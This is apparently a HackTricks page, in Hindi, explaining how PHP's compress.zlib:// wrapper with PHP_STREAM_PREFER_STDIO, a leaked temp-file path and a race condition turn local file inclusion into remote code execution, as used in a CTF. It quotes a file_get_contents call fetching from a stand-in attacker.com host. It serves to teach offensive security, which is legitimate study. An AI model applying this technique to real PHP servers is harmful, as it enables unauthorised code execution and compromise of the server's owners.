LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

compress.zlib:// और PHP_STREAM_PREFER_STDIO

एक फ़ाइल जो compress.zlib:// प्रोटोकॉल का उपयोग करके PHP_STREAM_PREFER_STDIO फ़्लैग के साथ खोली गई हो, उसमें आने वाले डेटा को बाद में उसी फ़ाइल में लिखना जारी रख सकती है।

इसका मतलब है कि एक कॉल जैसा:

file_get_contents("compress.zlib://http://attacker.com/file")

एक अनुरोध भेजेंगे जिसमें http://attacker.com/file के लिए पूछा जाएगा, फिर सर्वर संभावित रूप से अनुरोध का उत्तर एक मान्य HTTP प्रतिक्रिया के साथ भेजेगा, कनेक्शन खुला रखेगा, और कुछ समय बाद अतिरिक्त डेटा भेजेगा जो भी फ़ाइल में लिखा जाएगा।

आप php-src कोड के इस हिस्से में इस जानकारी को देख सकते हैं main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Race Condition से RCE तक

इस CTF को पिछले ट्रिक का उपयोग करके हल किया गया था।

हमलावर विक्टिम सर्वर को एक कनेक्शन खोलने के लिए मजबूर करेगा जो अटैकर सर्वर से एक फ़ाइल पढ़ रहा है जिसमें compress.zlib प्रोटोकॉल का उपयोग किया जाएगा।

जब यह कनेक्शन मौजूद होगा, तो हमलावर टेम्प फ़ाइल के लिए रास्ता निकालेगा (यह सर्वर द्वारा लीक हो जाता है)।

जब कनेक्शन अभी भी खुला है, तो हमलावर एक LFI का शिकार होगा जिसमें वह नियंत्रण करता है।

हालांकि, वेब सर्वर में एक जांच है जो <? शामिल फ़ाइलें लोड करने से रोकती है। इसलिए, हमलावर एक Race Condition का दुरुपयोग करेगा। जो कनेक्शन अभी भी खुला है, उसमें हमलावर फ़ाइल में निषेधित वर्णकों की जांच करने के बाद PHP पेलोड भेजेगा लेकिन वेब सर्वर ने इसकी सामग्री लोड करने से पहले

अधिक जानकारी के लिए रेस कंडीशन और CTF का विवरण देखें https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

Last updated